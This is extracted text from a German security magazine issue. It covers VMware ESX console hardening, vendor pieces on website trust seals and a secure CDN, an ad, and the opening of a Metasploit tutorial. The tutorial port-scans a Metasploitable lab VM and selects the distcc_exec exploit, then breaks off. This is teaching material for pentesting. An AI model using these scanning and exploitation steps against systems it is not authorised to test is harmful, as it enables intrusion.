Sichere Konfiguration virtueller Maschinen Virtuelle Maschinen sind in erster Linie genauso zu behandeln und zu modellieren wie physische Maschinen. Es sollte aber darauf geachtet werden, dass den virtuellen Maschinen der Zugang zu Geräten oft erst noch gewährt werden muss (z.B. DVDLaufwerk). Diese Geräte können meist aus der virtuellen Maschine über die Gastwerkzeuge gesteuert werden.
Sicherung der Servicekonsole Die Sicherung der Konsole ist möglich, indem sie mithilfe eines abgeschotteten Managementnetzwerkes separiert wird. Dafür sollte eine eigene Netzwerkkarte sowie eine VLAN-ID vorgesehen werden. Anschließend sollte der root-Zugriff eingeschränkt werden, da dieser eine enorme Bedeutung für die Verwaltung von Dateien und Diensten hat. Zudem muss ein kompliziertes root-Passwort gewählt werden, das in bestimmten Zeitabständen erneuert wird. Der Zeitabstand kann mithilfe des folgenden Befehls in der Konsole festgelegt werden: esxcfg-auth --passmaxdays=[Anzahl-der-Tage] Bsp. esxcfg-auth --passmaxdays=30
Abbildung 5. Separierung der Servicekonsole
24
1/2011
Schwachstellen bei der Ressourcenoptimierung im virtuellen Raum
Damit nicht jeder Benutzer mittels sudo oder su rootRechte erlangen kann, wird eine wheel-Gruppe benutzt. Benutzer die in den root-Modus wechseln dürfen, müssen mit folgendem Befehl in die wheel-Gruppe hinzugefügt werden: usermod -G wheel Benutzer Bsp. usermod -G wheel Max
Als nächstes wird der su-Befehl angepasst, damit nur root und die wheel-Gruppe die root-Rechte besitzen. Dies geschieht mittels: chgrp wheel /bin/su chmod 4750 /bin/su
Damit die wheel-Gruppe den sudo-Befehl nutzen kann, muss die /etc/sudoers mittels Befehl visudo in einem Editor gestartet und editiert werden. Dabei wird die Zeile #%wheel ALL = (ALL) ALL auskommentiert. Einen zusätzlichen Schutz der Servicekonsole bietet die integrierte Firewall, die standardmäßig schon auf einer hohen Sicherheitsstufe eingestellt ist.
Sicherer Betrieb von virtuellen Infrastrukturen Wenn ein Fehler auf einem Virtualisierungsserver entsteht, kann dieser Auswirkungen auf alle virtuellen Maschinen haben die auf ihm betrieben werden. Mithilfe von webbasierten Administrationsoberflächen oder einer Administrationssoftware (VMware vSphere Client, VMware vCenter), kann man lokal und über das Netz auf einen Virtualisierungsserver zugreifen. Somit hat man die Möglichkeit den Server oder dessen virtuelle Maschinen zu steuern, zu warten oder zu überwachen. Ein weiterer Punkt ist die Überwachung des Betriebszustandes. Die Auslastung der Ressourcen sollte kontinuierlich geprüft werden. Nur so kann ermittelt werden, ob ausreichend Prozessorressourcen zur Verfügung stehen, die den Performanceanforderungen der virtuellen Maschinen genügen. Ob Hauptspeicherengpässe vorliegen, die die Verfügbarkeit der virtuellen Maschinen gefährden könnten, muss ebenfalls kontrolliert werden. Besonders bei der Verwendung des Memory Overcommitments sollte ein Prozess etabliert werden, der den Hauptspeicher ständig überwacht und einen drohenden Engpass früh erkennt. Diese Überwachungsaufgaben können automatisiert werden und zum Beispiel durch E-Mail-Benachrichtigungen über Unregelmäßigkeiten informieren.
Im Internet • • • •
http://www.vmachine.de https://www.bsi-fuer-buerger.de/cln_030/ContentBSI/Aktuelles/Veranstaltungen/gstag/gstag_160310.html http://www.vmware.com http://www.pc-ware.com
hakin9.org/de
Voraussetzungen für die empfohlenen Maßnahmen der BSI sind fachkundige und speziell geschulte Mitarbeiter. Hier sollte nicht gespart werden. Eine falsche Planung und nicht vorhandenes Fachwissen können zu einer späteren Behinderung oder sogar zu einem Ausfall des Produktivbetriebs führen. Damit ein fortlaufender und reibungsloser Betrieb möglich ist, sollte also nur einschlägig ausgebildetes Personal mit und in den virtuellen Welten arbeiten.
Sicherung zwischen Internet und virtueller Welt Besitzen virtuelle Maschinen eine Verbindung zum Internet, ist selbstverständlich auch hier eine Sicherheitssoftware erforderlich. Diese kann als virtuelle Lösung oder in Form einer Hardware-Lösung bereitgestellt werden. Stellt beispielsweise ein Unternehmen seine vorhandene physische Infrastruktur auf eine virtuelle um und besitzt eine Hardware-Firewall- und Antivirus-Lösung, so kann diese weiterhin verwendet werden. Es entstehen keine weiteren Kosten für das Unternehmen. Soll die Firewall selbst in einer virtuellen Maschine betrieben werden, muss diese aus Sicherheitsgründen auf einem eigenen Host installiert werden. Dadurch entstehen für das Unternehmen zusätzliche Software- und Hardware-Kosten, die sich nur rechnen, wenn mehrere Sicherheitslösungen auf dem Host betrieben werden sollen. Ansonsten empfiehlt es sich, zu einer HardwareLösung zu greifen. Virtuelle Systeme. die keinen Zugang zum Internet besitzen, können mittels einer einfachen Firewall-Software überwacht werden. Bei einem sehr geringen Schutzbedarf, beispielsweise bei einem einfachen Test-System, reicht meist schon die in Windows Systemen integrierte Firewall aus.
Ausblick VMware hat dieses Sicherheitsproblem erkannt und mit der Einführung der vShield Zones und der VMsafe API minimiert. Durch eine Zusammenarbeit mit zahlreichen Security-Software Herstellern wie beispielsweise McAfee, Kaspersky oder Trend Micro können neue Sicherheitskonzepte entwickelt werden und so die Sicherheit in einer virtuellen Infrastruktur immer weiter vorantreiben. Einige Vorreiter wie die Deep Security Lösung von Trend Micro gibt es bereits und es werden sicherlich weitere folgen.
STEVE HAMPICKE Abgeschlossenes Studium (Diplom FH) der Automatisierungstechnik/ Computersystemtechnik Diplomarbeit bei PC-WARE beschäftigte sich mit dem Thema „Analyse sicherheitsrelevanter Ressourcenoptimierung in virtuellen IT-Infrastrukturen“ beschäftigt sich weiterhin in seiner Freizeit mit VMware-Lösungen Kontakt mit dem Autor:
[email protected]
25
Malware-Scan mittels Comodo HackerProof oder VeriSign Trust Seal Christian Heutger, Geschäftsführer PSW Group Bedingt durch die Befürchtung vieler Verbraucher, beim Einkauf im Internet Opfer von Identitäts- beziehungsweise Datendiebstahl zu werden, entgingen Online-Händlern allein im Jahr 2008 Umsätze in Höhe von 21 Milliarden US-Dollar. Das ergaben Studien von VeriSign, einem Spezialisten für Zertifikatslösungen im Internet. IN DIESEM ARTIKEL ERFAHREN SIE…
WAS SIE VORHER WISSEN SOLLTEN…
• Wie die Vertrauenswürdigkeit und Sicherheit einer Website durch kombinierte Lösungen gewährleistet werden kann • Einzelheiten über das bekannteste Gütesiegel im Internet
• Der wirtschaftliche Schaden für Online-Händler aufgrund mangelnden Vertrauens vieler Verbraucher in die Sicherheit der Website kostete im Jahr 2008 rund 21 Milliarden US-Dollar. • Grundkenntnisse über die Sicherheitsstandards der Payment Card Industry (PCI)
F
ür Online-Shop- und Website-Betreiber gilt es daher Lösungen zu finden, mit deren Hilfe sie Besuchern ihrer Website, also potenziellen Kunden, aufzeigen können, dass sie sich auf einer vertrauenswürdigen, sicheren Website befinden, die täglich auf Schadcode, Malware und sonstige Schwachstellen hin gescannt wird. Diese Möglichkeit bieten ihnen das Gütesiegel des Comodo HackerProof und das VeriSign Trust Seal, die wir Ihnen im Rahmen dieses Beitrages samt der dahinter steckenden technischen Lösungen näher vorstellen.
Comodo HackerProof: Simulierte Attacken und Frühwarnsystem Der Comodo HackerProof kombiniert unterschiedlichste Lösungen, um die Sicherheit und Vertrauenswürdigkeit von Websites zu gewährleisten und zu signalisieren: • Simulierte Attacken und Malware-Scans im 24h-Takt Alle 24 Stunden prüft der ausgefeilte Scan-Algorithmus des Comodo HackerProof die Website des Anwenders auf Sicherheitslücken, die durch Hacker ausgenutzt werden könnten. Zum Einsatz kommt dabei eine ganze Batterie an Schwachstellen-Tests. Der Scan wird automatisch seitens des Comodo HackerProof-Servers initiiert. Insbeson-
26
dere wird geprüft, ob die Website anfällig für Denial-of-Service-Attacken ist, der Server über offene beziehungsweise ungeschützte Ports verfügt, unsichere Protokolle oder nicht gepatchte Software ausführt. Hierzu simuliert der HackerProof-Server wirklichkeitsnahe aber nicht schädliche Angriffe auf den entsprechenden Web-Server. Am Ende eines jeden Scans generiert die Lösung einen detaillierten Report, in dem sämtliche Schwachstellen präzise aufgelistet sind und für die bei Bedarf eine Lösung vorgeschlagen wird. • SiteInspector: Das Frühwarnsystem Zum integralen Bestandteil seines HackerProof hat Comodo mit dem SiteInspector ein intelligentes Frühwarnsystem auserkoren. Der SiteInspector simuliert den Besuch der Website durch einen potenziellen Kunden und überprüft dabei das System auf die spezifischen Gefahren, denen Besucher der Website ausgesetzt sind. Infizierte Seiten, die etwa das Betriebssystem des Besuchers schädigen könnten, werden unmittelbar gemeldet und können daraufhin vom Website-Betreiber entfernt werden. SiteInspector geht damit einen Schritt weiter als herkömmliche Scanning-Services, indem die Sicherheit einer Website aus Sicht des Besuchers überprüft wird. • PCI-Scanning: Den Sicherheitsstandards der Kreditkartenindustrie entsprechen
1/2011
Malware-Scan mittels Comodo HackerProof oder VeriSign Trust Seal
Ebenfalls mit an Bord hat der HackerProof das sogenannte PCI-Scanning. Es erfolgt vierteljährlich und überprüft die Website auf die Erfüllung der hochgradige Sicherheit garantierenden Standards der Payment Card Industry (PCI). Diese sehen unter anderem die „Installation und Pflege einer Firewall zur Absicherung aller Daten“, die „Entwicklung und Pflege sicherer Systeme und Anwendungen“ und „kontinuierliche Prüfungen aller Sicherheitssysteme und –prozesse“ für WebsiteBetreiber, die Kreditkartendaten verarbeiten, zwingend vor. • Comodo HackerProof-Siegel: Sicherheitszertifikat mit Mouse-Over-Effekt Eine wichtige Komponente des HackerProof – gerade im Hinblick auf die Vertrauensbildung im ECommerce – ist das Trust-Mark. Es bescheinigt und verifiziert die Sicherheit der besuchten Website in Echtzeit. Das „Sicherheitszertifikat“ wird vom Website-Betreiber per JavaScript in seine Website integriert und offenbart, wann die Website zum letzten Mal dem HackerProof-Scan unterzogen worden ist. Eine Besonderheit ist, dass es mit einem Mouse-Over-Effekt ausgestattet ist. Bewegt der Besucher der Website seinen Mauszeiger über das Trust-Mark werden ihm weitere Informationen zum letzten Scan-Zeitpunkt und dem HackerProof angezeigt.
Comodo HackerProof: Webbasiertes Management-Tool Der Comodo HackerProof ist ein reines Online-Tool. Installationen auf Clients sind somit nicht erforderlich. Der Login in das Lösungsbundle ist über die Website von Comodo möglich. Hier erlaubt ein anwenderfreundliches Interface sowohl die komfortable Verwaltung und Analyse als auch die Auswertung der Umsatzsteigerungen, die durch den vertrauensbildenden Einsatz des Comodo HackerProof im E-Com-
merce erzielt werden konnten. So misst das Feature beispielsweise, wie oft die Besucher der Website, den Mouse-Over-Effekt des Trust-Mark genutzt haben, um die Sicherheit der Website näher zu verifizieren.
Comodo HackerProof: Die wichtigsten Merkmale
• Täglicher, umfassender Scan der Website auf Sicherheitslücken, Malware und andere Schwachstellen, die durch Hacker ausgenutzt werden können. • Innovative SiteInspector-Technologie schützt Website-Besucher vor Drive-by-Attacken und anderem schädlichem Website-Content. • Integriertes PCI-Scanning zur Umsetzung der Sicherheitsstandards der Kreditkartenindustrie. • Webbasiertes Management des HackerProof: Reporting-Funktionalitäten geben Aufschluss über Schwachstellenbehebungen, Testergebnisse und Return-on-Investment. • Besuchern via Mouse-Over Informationen über Tests und verifiziert die Sicherheit der Website in Echtzeit. • Patentierte Trust-Mark-Technologie trägt für Ausfallsicherheit und einfache Einbindung in die Website (ohne Layout-Änderungen) Sorge.
VeriSign Trust Seal: Hoher Bekanntheitsgrad gepaart mit Malware-Scan und BetreiberAuthentifizierung Das VeriSign Trust Seal ist eine Erweiterung des VeriSign Seal, einem der bekanntesten Sicherheitssiegel im Internet, das im Durchschnitt täglich 250 Millionen Mal auf mehr als 90.000 Websites angezeigt wird, unter anderem von 97 der 100 größten Banken, die SSL-Zertifikate verwenden. Anders als beim VeriSign Secured Seal kommt das Trust Seal zum Zug, wenn keinerlei SSL-Zertifikate genutzt werden. Kommen SSL-Zertifikate auf einer Website aber doch zur Anwendung, muss der Website-Betreiber zwingend auf VeriSign SSL zurückgreifen, um ein Trust Seal zu erhalten. Das VeriSign Trust Seal basiert im Wesentlichen auf vier Features: • Authentifizierung Als vertrauenswürdige dritte Partei prüft VeriSign die Identität des Website-Betreibers und stellt sicher, dass er der rechtmäßige Inhaber der Website ist. Dies geschieht unter anderem anhand des Whois-Eintrages zur betroffenen Domain. Das Siegel belegt somit auf einer Website, dass deren Betreiber von VeriSign einwandfrei authentifiziert werden konnte.
www.psw.net
27
• Täglicher Malware-Scan Das VeriSign Trust Seal sieht vor, dass die Website täglich auf Malware gescannt wird. Werden in diesem Rahmen schädliche Codes festgestellt, wird der Website-Betreiber davon per EMail in Kenntnis gesetzt. In diesem Rahmen wird er aufgefordert, sich in seinen Account beim VeriSign Trust Center einzuloggen. Dort findet der Website-Betreiber dann eine detaillierte Übersicht über die Seiten seines Web-Angebots, die infiziert sind, sowie über die genauen Codes, die die Sicherheitsprobleme verursachen. Dem Website-Betreiber wird so ermöglicht, den Schadcode schnell aufzufinden und ihn zu entfernen. Im Anschluss kann er einen erneuten Scan seiner Website beantragen. Über den gesamten Zeitraum hinweg, wird das VeriSign Trust Seal nicht mehr auf der betroffenen Website dargestellt. Es erscheint erst wieder, wenn im Rahmen des erneuten Scans festgestellt worden ist, dass die Malware entfernt worden ist. • Das Trust Seal Das Trust Seal selbst ist wie der Comodo HackerProof ein Erkennungszeichen, das den Besuchern einer Website signalisiert, sich auf einer sicheren, vertrauenswürdigen Seite zu befinden. Bei Klick auf das Siegel öffnet sich die so genannte „VeriSign Trust Seal Verification Page“. Sie beinhaltet Informationen über die Website sowie über die Identität des rechtmäßigen Website-Betreibers, die von VeriSign im Vorfeld verifiziert wurde. Hierzu zählen Name, Ort und Land. Außerdem können Besucher auf der Verification Page feststellen, wie der jüngste Malware-Scan verlaufen ist. Mit dieser Transparenz ist sichergestellt, dass die Besucher der Website darauf vertrauen können, dass die Website nicht von Hackern manipuliert worden ist. Das VeriSign Trust Seal kann vom Website-Betreiber erst nach erfolgter Identifizierung sowie erstem Malware-Scan per Copy and Paste in die Website integriert werden. • Seal-in-Search Das VeriSign Trust Seal umfasst neben der Authentifizierung des Website-Betreibers ein weiteres interessantes Feature, das es von ande-
28
ren Sicherheitssiegeln unterscheidet: Das sogenannte Seal-in-Search. Dabei handelt es sich um ein Feature, dass es ermöglicht, dass das Trust Seal im Zusammenhang mit der eigenen geprüften Website auch in den Ergebnislisten der großen Suchmaschinen angezeigt wird. Einzige Voraussetzung für die Anzeige ist, dass sich der Endnutzer das kostenfreie Browser-Plug-in „AVG LinkScanner“ installiert hat. Mit Seal-in-Search können sich Website-Betreiber bereits in den Suchergebnissen mit ihren von VeriSign als sicher zertifizierten Webseiten von der Konkurrenz abheben und so mehr Traffic generieren. Die täglichen Malware-Scans verhindern außerdem, dass die eigene Website dem Blacklisting von Suchmaschinen zum Opfer fällt.
VeriSign Trust Seal: Die wichtigsten Merkmale
• Herauszustreichen ist vor allem der hohe Bekanntheitsgrad des VeriSign Trust Seal: Über 250 Millionen tägliche Einblendungen sprechen für sich. • Auch die Authentifizierung des rechtmäßigen Betreibers der Website u.a. per Whois-Datenabgleich stellt ein wichtiges Merkmal des Siegels dar. • Täglicher, umfassender Scan der Website auf Malware. • Online-Zugriff über das VeriSign Trust Center auf Reporting-Funktionalitäten. Hier findet sich bei Malware-Befall eine detaillierte Aufschlüsselung aller infizierten Seiten. • Zeitnaher Re-Scan nach der Beseitigung von Schadcode. • Schutz vor Aufnahme der eigenen Website in die Blacklists von Suchmaschinen. • Mehrwert im Suchmaschinen-Marketing dank der Seal-in-Search-Technologie. • Transparenz für die Website-Besucher dank den Auskünften der VeriSign Trust Seal Verification Page. • Schnelle und simple Einbindung des Siegels per Copy and Paste.
Fazit Der Erfolg gibt den digitalen Gütesiegeln Recht. So belegen etwa Untersuchungen der Comodo Group, dass 78 Prozent der Online-Shopper einem Gütesiegel wie dem Comodo HackerProof oder dem VeriSign Trust Seal glauben, dass ihre Daten sicher sind. Und Studien von VeriSign konnten nachweisen, dass die Online-Verkäufe und Konversionen auf Websites, die über ein VeriSign-Siegel verfügen, um bis zu 34 Prozent gesteigert werden konnten.
1/2011
Die rasche Auslieferung statischer Inhalte mittels Secure CDN
Die rasche Auslieferung statischer Inhalte mittels Secure CDN
- Weil auch bei der Sicherheit die Geschwindigkeit zählt Christian Heutger, Geschäftsführer PSW Group Bei der Übertragung von Inhalten ist auf Websites und in Online-Shops die Geschwindigkeit einer der wesentlichsten Erfolgsfaktoren: Denn Kundenbindung sowie ein gutes Listing in Suchmaschinen sind im Internet eben auch von der Höhe der Geschwindigkeit abhängig, mit der Inhalte – ganz gleich ob Texte, Bilder, Flash-Content, Scripts oder Videos – geladen werden. IN DIESEM ARTIKEL ERFAHREN SIE…
WAS SIE VORHER WISSEN SOLLTEN…
• Höchste Sicherheit gepaart mit modernster Server-Technologie liefert das Secure Content Delivery Network (Secure CDN). • Mittels HTTPS beinhaltet Secure CDN eine sichere Auslieferung großer Datenaufkommen.
• Ein gutes Listing in Suchmaschinen sowie Kundenbindung hängen im e-Commerce wesentlich von der Ladezeit (Geschwindigkeit) der Website-Inhalte ab • Grundkenntnisse über die Funktionsweise / Aufbau des Domain Name Systems bzw. von Netzwerkdiensten
I
ndem sie dafür sorgt, dass Besucher Freude an einer „schnellen“ Website haben und sie dadurch öfter besuchen sowie länger auf ihr verweilen, übt die Lade-Geschwindigkeit einen wesentlichen Einfluss auf die Qualität eines Websitebesuchs und damit auf den Umsatz aus.
Content Delivery Networks (CDN) Um eine möglichst hohe Übertragungsgeschwindigkeit zu erreichen, bietet sich die Nutzung eines Content Delivery Networks (CDN) an. Als Geflecht über das Internet verbundener Server, ermöglicht es eine Auslieferung statischer Inhalte wie Grafiken, Bilder und JavaScripts vom jeweils nächstgelegenen Server aus. Auch Software-Downloads, Video-Streams oder der Betrieb von Online-Games wird in hoher Geschwindigkeit ermöglicht. Um dies zu erreichen, liefern klassische CDNs Inhalte von vielen kleinen Standorten aus. Um die Übertragungsgeschwindigkeit weiter zu optimieren, ist es allerdings sinnvoller, nur wenige, strategisch platzierte Points of Presence (POPs) zu betreiben. Die POPs sollten in unmittelbarer Nähe zu den wichtigsten Internetknoten weltweit liegen und dadurch direkt mit allen großen Netzwerken verbunden sein. CDNs, die dieser Strategie folgen, werden als CDNs der zweiten Generation betrachtet. Ein eben solches 2nd-Generation-CDN ist das renommierte EdgeCast CDN, das strategisch entsprechend vorteilhaft positioniert ist und auf POPs in San Jose, Los
www.psw.net
Angeles, Ashburn, New York, Chicago, Dallas, Atlanta, Seattle, London, Frankfurt, Paris, Hong Kong, Singapur, Tokio und Sydney zurückgreift. Dort sind die POPs außerdem in Tier 1-Rechenzentren untergebracht, was die POPs zu so genannten „Super POPs“ mutieren lässt, die auf robusten Backbone, vielfacher Redundanz und daraus resultierend hoher Verfügbarkeit basieren.
Klassisches CDN vs. Second-Generation-CDN (EdgeCast CDN) Das klassische CDN … • verlässt sich voll und ganz auf DNS, um die jeweilige Position des auf Inhalte zugreifenden Endnutzers zu ermitteln. • benötigt 8 Schritte, um den Nutzer zuverlässig mit dem gewünschten Content zu beliefern: • Der Endnutzer fragt eine IP-Adresse für content. domain.com an, um die dort hinterlegten Inhalte abzurufen. • Der ISP des Nutzers fordert beim Root-Server die IP-Adressen der autoritativen Domain-Name-Server von domain.com an. • Der Root-Server liefert als Antwort die IP-Adressen der autoritativen DNS-Server zurück. • Der DNS-Server des ISP greift willkürlich auf einen der autoritativen DNS-Server zurück, wobei die Distanz zwischen dem DNS-Server des ISP
29
•
• • •
und dem autoritativen DNS-Server sehr groß sein kann. Der autoritative DNS-Server antwortet mit der Adresse eines der Delivery-Server des betroffenen Netzwerkes, das dem DNS-Server des ISP am nächsten liegt. Erst jetzt kann der DNS-Server des ISP den Nutzer mit der IP-Adresse des Delivery-Servers versorgen. Der Nutzer fragt dann den Delivery-Server an. Der Delivery-Server beantwortet die Nutzer-Anfrage und der Nutzer bekommt die gewünschten Inhalte geliefert.
Das EdgeCast CDN … • arbeitet unabhängig von DNS. • cacht DNS-Einträge über längere Zeiträume hinweg, sodass anders als bei klassischen CDNs nicht jedes Mal eine DNS-Abfrage durchgeführt werden muss. • greift auf die patentierte EdgeDirector-Technologie zurück (im nächsten Abschnitt erfahren Sie mehr über deren Funktionsweise) • benötigt nur 4 Schritte, um den Nutzer zuverlässig mit dem gewünschten Content zu beliefern: • Der Endnutzer fragt eine IP-Adresse für content. domain.com an, um die dort hinterlegten Inhalte abzurufen. • Der DNS-Server vom ISP des Nutzers antwortet unmittelbar auf die DNS-Anfrage und greift dabei auf den Cache zurück. • Der EdgeDirector leitet den Nutzer zu dem nächstgelegenen Delivery-Server. • Der Delivery-Server beliefert den Nutzer mit den gewünschten Inhalten.
Zur Funktionsweise der EdgeDirector-Technologie Durch ein kontinuierliches Monitoring generiert die patentierte EdgeDirector-Technologie stets aktuelle Übersichten über alle aktiven IP-Blöcke sowie über die Geschwindigkeit des Zugriffs durch jeden IP-Block auf jeden POP. Dadurch ist sie in der Lage alle Nutzer ohne Zeitverlust mit dem jeweiligen lokalen oder zumindest dem geografisch am nächsten gelegenen POP zu verbinden. Damit wird wiederum eine schnelle Auslieferung von Inhalten über das CDN an den Nutzer realisiert. Ist ein POP einmal überlastet beziehungsweise ein anderer nächstgelegener POP weist eine bessere Performance auf, verbindet die EdgeDirector-Technologie den Nutzer mit diesem, bis sein „angestammter“ POP wieder voll funktionstüchtig ist. Ein Beispiel: • Der lokale EdgeDirector stellt fest, dass ein Nutzer aus Australien stets über den POP in Sydney auf Content zugreift.
30
• Der EdgeDirector stellt sicher, dass der Nutzer auch weiterhin über den für ihn vorteilhaften POP Inhalte ausgeliefert bekommt. • Tritt bei dem POP in Sydney aber ein Problem auf, verbindet der EdgeDirector den Nutzer mit dem POP in Hong Kong. Denn dieser ist nach dem POP in Sydney der dem Nutzer geografisch am nächstgelegenen POP. • Steht der POP in Sydney dann wieder zur Verfügung und erweist sich als der für den Nutzer effektivste lokale POP, so bekommt der Nutzer die Inhalte künftig wieder über diesen geliefert.
Wie das „Secure“ zum CDN kommt Das EdgeCast CDN kann als Secure CDN bezeichnet werden. Denn das CDN der zweiten Generation ist neben seiner hohen Performance zusätzlich mit Sicherheitsmerkmalen wie dem Support des HyperText Transfer Protocol Secure (HTTPS) ausgestattet. Damit können Daten und Inhalte „abhörsicher“, da verschlüsselt, aber dennoch weiterhin in hoher Geschwindigkeit übertragen werden. Als weitere Sicherheitsfunktionen kommen die Unterbindung von Direkt-Verlinkungen mittels Token-Authentifizierung, die Geo-Filterung, die Benutzerzugangsbeschränkung anhand von IP-Adressen und die SWF- und Token-Authentifizierung in Verbindung mit Flash-Streaming hinzu.
Merkmale des EdgeCast CDN • Schnelle Auslieferung von Inhalten unter anderem Dank patentierter EdgeDirector-Technologie. • Weitgehend unabhängig von DNS. • Hohe Sicherheit: HTTPS-Support, Token-Authentifizierung, Geo-Filterung, Benutzerzugangsbeschränkung, Möglichkeit der Bandbreitendrosselung. • Für Auslieferung von Rich Media-Elementen wie hochauflösende Videos oder Live-Streamings optimiert. • Unterstützung von On-Demand- als auch LiveStreaming mittels Adobe Flash, Windows Media und Microsoft Silverlight. • Höchstmaß an Flexibilität, die es erlaubt, Inhalte entweder auf dem eigenen Server zu speichern oder auf Speicherknoten hochzuladen, um sie dort von Cache-Servern abholen und über das Netzwerk verteilen zu lassen. • Websitebetreiber kann durch benutzerdefinierte Regeln festlegen, wie die Serverknoten Inhalte cachen und ausliefern. • Über eine webbasierte Analyse-Suite können aktuelle Leistungsdaten permanent eingesehen werden.
1/2011
Einfach sicher surfen.
Abstand schafft Sicherheit! Angriffe auf Daten und Systeme über Schwachstellen in internetgebundenen Applikationen drohen täglich. Halten Sie die Gefahren des Internets auf Distanz – mit Remote Controlled Browser Systems (ReCoBS) der m-privacy GmbH.
m-privacy GmbH
Sehen wir uns?
Am Köllnischen Park 1 10179 Berlin Fon: +49 30 243423-34 Fax: +49 30 243423-36
[email protected] www.m-privacy.de
Fünfter Nationaler IT-Gipfel 7. Dezember 2010 Internationales Congress Center Dresden www.m-privacy.de/presse/veranstaltungen
TOOLS
Das Metasploit Framework als Unterstützung bei Penetrationstests Alexander Winkler Kann ein quelloffenes Pentesting-Tool an seine kommerzielle Pendants heranreichen? Welche Informationen eines Zielsystems brauche ich für einen erfolgreichen Exploit? Welche Vorteile bringt das Metasploit Framework? IN DIESEM ARTIKEL ERFAHREN SIE...
WAS SIE VORHER WISSEN/KÖNNEN SOLLTEN...
• wie man das Metasploit Framework aufsetzt • erste Schritte im MSF • Vor- und Nachteile des Frameworks
• grundlegende Kenntnisse auf der Kommandozeile
G
sich in besonderer Weise als unterstützendes Mittel beim Pentesting. So lassen sich diverse Tools wie z.B. nmap bequem einklinken und machen es somit zu einem interessanten Werkzeug. Dieser Artikel wird sich ausschließlich mit dem Metasploit Framework (MSF) auseinandersetzen. Das MSF an sich ist eines der bekanntesten Open
enaue und stets aktuelle Informationen zu besitzen ist heutzutage sehr viel wert, alles andere gleicht einem Blindflug im Düsenjet. Dies stimmt jedenfalls auch in Verbindung mit Penetrationstest. Ein Test kann immer nur das widerspiegeln was überhaupt erst entdeckt wurde. Das Metasploit Framework[1] eignet
Abbildung 1. Metasploitable gestartet
32
10/2010
Das Metasploit Framework als Unterstützung bei Penetrationstests
Source Pentesting-Tools, die es einem ermöglichen, eine breite Palette an Malware an einem zu kompromittierenden Host auszuführen. Es ist Teil des Metasploit Projekts, sehr mächtig und vermag dem Benutzer einige Werkzeuge an die Hand zu geben, um sich damit in verschiedenen Netzen umzusehen. Dies wird allerdings manchmal sehr kontrovers diskutiert, da es somit auch die Möglichkeit mitbringt für unbedarfte User schnelle Ergebnisse in womöglich fremden Netzen zu erzielen. Aber gerade für diejenigen Leute unter uns, zu deren täglichen Aufgaben es gehört, sicherheitsrelevante Netzwerkarchitekturen bzw. Segmente zu betreuen ist es sehr interessant dies mal aus einer anderen Perspektive zu sehen. Es ist vielleicht sogar unabdingbar sich als verantwortungsbewusster Administrator damit auseinanderzusetzen. Das MSF existiert für alle unixoiden Systeme und ist auch in der WindowsWelt dank Cygwin ausführbar. Es existieren drei verschiedene Möglichkeiten um mit dem System zu interagieren, die msfconsole, msfcli und die msfgui. Wir werden uns auf die msfconsole beschränken sie ist -meiner Meinung nach- die komfortabelste unter allen drei Möglichkeiten. Der große Vorteil an Metasploit ist der modulare Aufbau, es besteht vereinfacht gesagt die Möglichkeit verschiedene Payloads über einen Exploit zu bedienen. Anders ausgedrückt - jedes Modul der MSF-Datenbank ist für sich eigenständig und hat keine Abhängigkeiten, wenn man mal von den internen Vorschlagslisten absieht.
ten Ubuntu 8.04 Server in Standardkonfiguration auf dem verschiedene angreifbare Dienste laufen. Metasploitable liegt als VMware Image vor und kann somit direkt in einer Virtualbox-Instanz oder dem VMware-Player ausgeführt werden. Somit wäre unser Zielsystem bereit und wartet sozusagen nur darauf exploited zu werden.
Vorbereitungen
Nun können wir mit dem Kommando msf > help eine Liste der zur Verfügung stehenden Befehle erhalten. Für die Anwendung des MSF ist es wichtig zu wissen welches Ziel wir verfolgen. Wir wissen ja, dass sich unser Zielsystem im gleichen Netz befindet, wir führen also einen Scan aus, um im besten Fall offene Ports vorzufin-
Wir werden uns für diesen Fall ein Zielsystem suchen, welches sich innerhalb eines geschlossenen Versuchsnetzes befindet. Es ist hilfreich, wenn wir uns den dafür gedachten Metasploitable[2] Images bedienen. Es handelt sich hier um ein vom Metasploit Projekt bereit gestell-
Installation Um das Framework zu laden gibt man auf der Kommandozeile seines Hostsystems folgenden Befehl ein: svn checkout http://metasploit.com/svn/framework3/trunk/ metasploit
Nun wird ein Ordner metasploit angelegt und das ca. 200MB große Framework in seiner letzten SVN heruntergeladen. Falls noch nicht geschehen, muss noch das aktuelle Ruby on Rails Framework installiert werden. sudo gem install -v=2.3.2 rails Danach starten wir die msfconsole mit: sudo ./msfconsole Es erscheint nach kurzer Zeit der Begrüßungsschirm des MSF. Wir sehen hier, dass uns in dieser Version von Metasploit 616 Exploits und 215 Payloads zur Verfügung stehen. Eine immense Zahl, wenn man bedenkt, dass bei der ersten Ausgabe des Frameworks gerade mal eine handvoll Exploits zur Verfügung standen.
Anwendung
Abbildung 2. Metasploit Begrüßungsschirm
hakin9.org/de
33
TOOLS
den . Dafür wird der in Metasploit integrierte Portscanner bemüht. msf > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set RHOSTS 192.168.178.1/24
Wir haben also eine IP-Adresse die wir für das weitere Vorgehen nutzen können, außerdem sehen wir einige offene TCP-Ports, die leicht als Einfallstor genutzt werden können (vgl. Listing 1.). Jetzt gilt es den richtigen Schlüssel für eines davon zu finden. Wir nehmen uns den Port 3632 vor, der auch von dem DistCC-Ser-
vice genutzt wird. Dieser wird normalweise zur Verteilung von C/C++ Programmen in größeren Netzwerken und erspart einem so das zeitintensive lokale compilieren auf den jeweiligen Rechnern. Jetzt ist er aber auch nützlich für unseren Versuchsaufbau. Nun suchen wir mittels search distcc welche Exploits für diesen Service in dem Framework vorhanden sind (vgl. Listing 2.). Mittels use unix/misc/distcc_exec wählt man das entsprechende Exploit aus. Nun ist uns schon einiges über das zu kompromittierende System bekannt; IP-Adresse, auf welchen Port der Exploit abzielt und welcher Exploit es sein wird.
Listing 1. TCP Scan mittels auxiliary/scanner/portscan/tcp [*] 192.168.178.100:22 - TCP OPEN [*] 192.168.178.100:21 - TCP OPEN [*] 192.168.178.100:23 - TCP OPEN [*] 192.168.178.100:25 - TCP OPEN [*] 192.168.178.100:53 - TCP OPEN [*] 192.168.178.100:80 - TCP OPEN [*] 192.168.178.100:139 - TCP OPEN [*] 192.168.178.100:445 - TCP OPEN [*] 192.168.178.100:3306 - TCP OPEN [*] 192.168.178.100:3632 - TCP OPEN [*] 192.168.178.100:5432 - TCP OPEN [*] 192.168.178.100:8009 - TCP OPEN [*] 192.168.178.100:8180 - TCP OPEN [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
